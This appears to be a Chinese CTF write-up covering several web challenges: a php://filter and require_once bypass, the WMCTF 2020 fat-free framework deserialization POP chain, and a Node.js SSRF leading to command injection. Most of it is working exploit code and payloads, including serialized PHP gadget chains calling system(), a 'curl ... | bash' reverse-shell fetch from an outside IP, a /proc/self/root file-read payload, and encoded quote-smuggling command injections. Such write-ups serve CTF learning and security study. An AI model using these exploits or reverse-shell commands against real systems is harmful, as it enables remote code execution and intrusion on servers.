我记得当时好像是1出了非预期所以出了2,现在BUU上的1已经修了非预期,所以1和2应该是一样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
|
payload
1
|
php://filter//convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|x<ap?ph@ vela$(P_SO[Tytksli]l;)>?/resource=tyskill.php
|
参考:
php源码分析 require_once 绕过不能重复包含文件的限制
require_once包含较多的符号链接时路径的哈希表匹配会失效
1
|
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
参考:
WMCTF 2020官方WriteUp
webcheckin
从WMCTF2020 webweb学反序列化
2020 WMCTF Web Writeup
www.zip
源码泄露,可知是fat-free框架,版本是3.7.2。对比源码,发现只是删除了一些析构函数的代码,并没有添加什么内容,不过这也算提示了吧。看过wp,已知是框架找POP链,就不去搞php原生类了。
先从入口函数__destruct
找起,只有ws.php中CLI\Agent
里面存在有内容的析构函数(其他有内容的析构函数都被清空了)
1
2
3
4
5
|
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
|
可以看到这里使用$this->server->events['disconnect']
并判断函数是否可调用,很明显,即使$func可以任意污染,它最终还是要在Agent作用域内执行,它的参数固定为了Agent且Agent没有__toString
方法也表明了这里没办法实现任意命令执行。
因此我们只能换方向——寻找魔术方法,满足现在情况下的方法有__call、__callStatic
(大概。
全局搜索,果然找到__call
和__callStatic
,且大多都含有敏感函数call_user_func_array
,再寻找哪个有可控参数,最后找到DB\SQL\Mapper
1
2
3
4
5
6
7
|
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
|
$this->props
和$func
都是可控的,因此通过修改变量就可以调用任意函数。接下来的问题就是如何触发__call
,众所周知,触发__call
需要调用当前类不存在的方法,但是Agent析构函数的$func($this)
似乎已经限制了作用域的选择,所以即使通过传入数组绕过is_callable
的判断还是无法成功触发别的作用域中的__call
,最终还是要在Agent中寻找触发点,也就是符合$class->$func($args)
的格式,然后找到了fetch方法:
1
2
3
4
5
6
7
|
function fetch() {
// Unmask payload
$server=$this->server;
if (is_bool($buf=$server->read($this->socket)))
return FALSE;
...
}
|
Mapper不存在read方法,控制server和socket就可以触发__call
实现任意命令执行。
接下来就是调用fetch函数:
is_callable
的语法:
检查的变量可以传入数组,且有效的检查变量应该包含两个元素,第一个是一个对象或者字符,第二个元素是个字符。
正常来说is_callable
的判断环境是当前环境,但是这里使用的是events数组,环境限制在了其他类,所以直接进行fetch判断肯定无法通过,需要传入数组将环境还原回Agent。传入数组的载体正如文章从WMCTF2020 webweb学反序列化中所说可以替换,不过必须是框架中存在的类。至于为什么不用CLI\WS
,我的理解是该类中的events数组属性已经定义为了protected,在$this->server->events['disconnect']
访问时会报错Uncaught Error: Cannot access protected property CLI\WS::$events
,不支持这样跨类访问。
最后就是如何加载ws.php,查看base.php关于加载文件的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
protected function autoload($class) {
$class=$this->fixslashes(ltrim($class,'\\'));
/** @var callable $func */
$func=NULL;
if (is_array($path=$this->hive['AUTOLOAD']) &&
isset($path[1]) && is_callable($path[1]))
list($path,$func)=$path;
foreach ($this->split($this->hive['PLUGINS'].';'.$path) as $auto)
if ($func && is_file($file=$func($auto.$class).'.php') ||
is_file($file=$auto.$class.'.php') ||
is_file($file=$auto.strtolower($class).'.php') ||
is_file($file=strtolower($auto.$class).'.php'))
return require($file);
}
|
根据命名空间拆分成路径拼接php判断文件是否存在,所以我们需要使用CLI\WS
加载ws.php文件。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
namespace DB\SQL {
class Mapper {
protected $props;
function __construct($props) {
$this->props = $props;
}
}
}
namespace CLI {
class Agent {
protected $server, $socket;
function __construct($server, $socket) {
$this->server = $server;
$this->socket = $socket;
}
}
class WS {
protected $events;
function __construct($events) {
$this->events = $events;
}
}
}
namespace {
class Session {
public $events;
function __construct($events) {
$this->events = $events;
}
}
$mapper = new DB\SQL\Mapper(array('read'=>'system'));
$a = new CLI\Agent($mapper,'cat /etc/flagzaizheli');
$t = new Session(array('disconnect'=>array($a, 'fetch')));
$agent = new CLI\Agent($t,'');
$load = new CLI\WS($agent);
echo urlencode(serialize($load));
}
|
官方选择的__call
函数触发点与上面不同,是从DB\Mongo\Mapper
的insert函数触发,不过最终还是要通过DB\SQL\Mapper
的__call
方法实现任意命令执行。
定义的DB\Mongo类还是为了提供一个可访问的events数组,改成其他以存在的类也可行
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
<?php
namespace CLI{
class Agent
{
protected $server;
public function __construct($server)
{
$this->server=$server;
}
}
class WS { }
}
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
class Mongo {
public $events;
public function __construct($events)
{
$this->events=$events;
}
}
}
namespace DB\Mongo{
class Mapper extends \DB\Cursor {
protected $legacy=0;
protected $collection;
protected $document;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
public function __construct($collection,$document){
$this->collection=$collection;
$this->document=$document;
}
}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected $props=["insertone"=>"system"];
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
}
}
namespace{
$SQLMapper=new DB\SQL\Mapper();
$MongoMapper=new DB\Mongo\Mapper($SQLMapper,"curl https://shell.now.sh/39.106.207.66:2333 |bash");
$DBMongo=new DB\Mongo(array('disconnect'=>array($MongoMapper,"insert")));
$Agent=new CLI\Agent($DBMongo);
$WS=new CLI\WS();
echo urlencode(serialize(array($WS,$Agent)));
}
|
参考:
https://www.cnblogs.com/W4nder/p/14078695.html
没用的代码分析了半天,一直在找/login
的入口,绝了。。。
关键代码就index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
...
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
|
一看到黑名单内容就想到SSRF,但是这缩进就nm离谱,还以为黑名单卵用没有。。。不知道算不算出题人的恶趣味,继续往下做,log存在命令注入,但是需要本地访问才能命令执行,所以要通过POST SSRF。
payload
1
2
3
4
|
// 二次编码
{"url":"http://127.1:3000/debug?url=http://%2527;cp$IFS/flag$IFS/tmp/log%00"}
// 特殊编码 => %EF%BC%87解码为'
{"url":"http://127.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%00"}
|